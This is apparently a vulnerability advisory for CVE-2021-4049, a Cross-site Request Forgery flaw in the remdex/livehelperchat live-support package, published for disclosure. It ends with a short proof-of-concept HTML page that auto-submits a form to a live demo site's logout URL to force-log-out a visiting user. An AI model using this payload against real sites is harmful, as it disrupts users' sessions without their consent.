Cross-site Request Forgery (CSRF) Affecting remdex/livehelperchat package, versions >=0.0.0
Threat Intelligence
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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- published7 Dec 2021
- disclosed7 Dec 2021
- creditChau Minh Khanh
Introduced: 7 Dec 2021
CVE-2021-4049 (opens in a new tab)How to fix?
A fix was pushed into the master branch but not yet published.
Overview
remdex/livehelperchat is a package that offers live support for your website. Featuring web and desktop clients. Compatible Windows, Linux, Mac. Desktop client powered by QT. Supports mobile phones based on XMPP service providers (GTalk, Xabber, Mono etc.)
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF). By using a forged logout URL, an attacker is able to log out a user if a logged-in user visits the attacker's website.
###POC:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.livehelperchat.com/site_admin/user/logout">
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>